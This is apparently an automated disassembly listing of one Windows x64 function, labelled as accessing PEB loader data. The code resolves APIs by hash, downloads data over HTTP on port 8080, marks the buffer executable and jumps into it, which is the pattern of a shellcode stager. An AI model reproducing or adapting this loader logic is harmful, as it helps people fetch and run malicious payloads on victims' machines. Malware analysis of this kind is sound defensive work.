Function at 0x14001200c
Capabilities:
Access peb ldr_data

Disassembly:
push r13
xor r11d, r11d
push r12
push rbp
push rdi
push rsi
push rbx
mov rbx, rcx
mov ecx, 0xadd31df0
sub rsp, 0x78
mov qword [rsp + 0x58], r11
mov qword [rsp + 0x60], r11
mov qword [rsp + 0x68], r11
call fcn.140011c0c
test rax, rax
mov qword [rbx + 0x70], rax
jne 0x140011d4e
lea rcx, [0x140011bbc]
call qword [rbx + 0x28]
test rax, rax
mov rcx, rax
mov qword [rbx + 0x80], rax
jne 0x140011d69
jmp 0x140011e34
mov rcx, rax
mov edx, 0xb7072ff1
call fcn.140011c71
test rax, rax
mov qword [rbx + 0x28], rax
jne 0x140011d30
jmp 0x140011ff3
mov edx, 0x613eace5
call fcn.140011c71
test rax, rax
mov qword [rbx + 0x30], rax
je 0x140011ff3
mov rcx, qword [rbx + 0x80]
mov edx, 0x81e0c81d
call fcn.140011c71
test rax, rax
mov qword [rbx + 0x38], rax
je 0x140011ff3
mov rcx, qword [rbx + 0x80]
mov edx, 0xb06d900e
call fcn.140011c71
test rax, rax
mov qword [rbx + 0x40], rax
je 0x140011ff3
mov rcx, qword [rbx + 0x80]
mov edx, 0x7739d0e6
call fcn.140011c71
test rax, rax
mov qword [rbx + 0x48], rax
je 0x140011ff3
mov rcx, qword [rbx + 0x80]
mov edx, 0xae351ae5
call fcn.140011c71
test rax, rax
mov qword [rbx + 0x50], rax
je 0x140011ff3
mov rcx, qword [rbx + 0x80]
mov edx, 0x75064b89
call fcn.140011c71
test rax, rax
mov qword [rbx + 0x58], rax
je 0x140011ff3
mov rcx, qword [rbx + 0x80]
mov edx, 0xa7355f15
call fcn.140011c71
test rax, rax
mov qword [rbx + 0x60], rax
je 0x140011ff3
xor r10d, r10d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r10d
call qword [rbx + 0x30]
test rax, rax
mov rbp, rax
je 0x140011faa
xor r9d, r9d
mov r8d, 0x1f90
mov rcx, rax
lea rdx, [0x140011bcc]
call qword [rbx + 0x38]
test rax, rax
mov r12, rax
je 0x140011faa
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov dword [rsp + 0x30], r8d
lea rdx, [0x140011bfc]
mov qword [rsp + 0x28], r9
lea r8, [0x140011be6]
mov qword [rsp + 0x20], r9
xor r9d, r9d
call qword [rbx + 0x40]
test rax, rax
mov rdi, rax
je 0x140011fb5
xor ecx, ecx
xor edx, edx
xor r9d, r9d
mov qword [rsp + 0x30], rdx
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], ecx
mov rcx, rax
call qword [rbx + 0x48]
cdqe
test rax, rax
mov qword [rsp + 0x48], rax
je 0x140011ee9
xor edx, edx
mov rcx, rdi
call qword [rbx + 0x50]
cdqe
mov qword [rsp + 0x48], rax
xor eax, eax
xor r8d, r8d
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x50], 0x180000
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x58]
mov dword [rsp + 0x28], 4
lea r9, [rsp + 0x50]
mov dword [rsp + 0x20], 0x3000
lea r13, [rsp + 0x44]
call qword [rbx + 0x20]
mov r8d, dword [rsp + 0x50]
mov r9, r13
mov rcx, rdi
mov rdx, qword [rsp + 0x58]
call qword [rbx + 0x58]
mov rsi, qword [rsp + 0x48]
test eax, eax
je 0x140011f50
mov eax, dword [rsp + 0x44]
test eax, eax
je 0x140011f50
add rax, rsi
mov qword [rsp + 0x48], rax
jmp 0x140011f22
mov rax, qword [rsp + 0x58]
lea r13, [rsp + 0x60]
mov qword [rsp + 0x68], rax
cmp esi, 0xffff
jle 0x140011f72
sub esi, 0xffff
or eax, 0xffffffff
jmp 0x140011f76
mov eax, esi
xor esi, esi
mov word [rsp + 0x60], ax
mov rdx, r13
mov ecx, 0x6e
call qword [rbx + 0x10]
movzx eax, word [rsp + 0x60]
add qword [rsp + 0x68], rax
test esi, esi
jne 0x140011f5f
mov rax, qword [rsp + 0x48]
add rax, 0x3fff
and rax, 0xffffffffffffc000
mov qword [rsp + 0x48], rax
mov rcx, rdi
call qword [rbx + 0x60]
test r12, r12
je 0x140011fbb
mov rcx, r12
call qword [rbx + 0x60]
test rbp, rbp
je 0x140011fc6
mov rcx, rbp
call qword [rbx + 0x60]
cmp qword [rsp + 0x58], 0
je 0x140011ff3
lea rax, [rsp + 0x44]
mov r9d, 0x20
or rcx, 0xffffffffffffffff
lea rdx, [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x48]
call qword [rbx + 0x18]
call qword [rsp + 0x58]
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
push rbx
sub rsp, 0x20
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rcx, qword [rax + 0x10]
call fcn.140011c69
movzx edx, word [rax + 0x14]
lea rax, [rdx + rax + 0x18]
cmp dword [rax + 0x24], 0
jns 0x140012078
mov ecx, dword [rax + 0xc]
mov rdx, qword gs:[0x30]
mov eax, dword [rax + 8]
mov rdx, qword [rdx + 0x60]
lea rbx, [rcx + rax - 0xa0]
mov ecx, 0x70e61753
add rbx, qword [rdx + 0x10]
call fcn.140011c0c
test rax, rax
mov rcx, rax
mov qword [rbx + 0x68], rax
jne 0x14001207e
add rsp, 0x20
mov rcx, rbx
pop rbx
jmp 0x140011cfc
add rax, 0x28
jmp 0x140012030
mov edx, 0x57c786ae
call fcn.140011c71
test rax, rax
mov qword [rbx + 0x10], rax
je 0x1400120bf
mov rcx, qword [rbx + 0x68]
mov edx, 0x50e92888
call fcn.140011c71
test rax, rax
mov qword [rbx + 0x18], rax
je 0x1400120bf
mov rcx, qword [rbx + 0x68]
mov edx, 0xf783b8ec
call fcn.140011c71
test rax, rax
mov qword [rbx + 0x20], rax
jne 0x14001206b
add rsp, 0x20
pop rbx
ret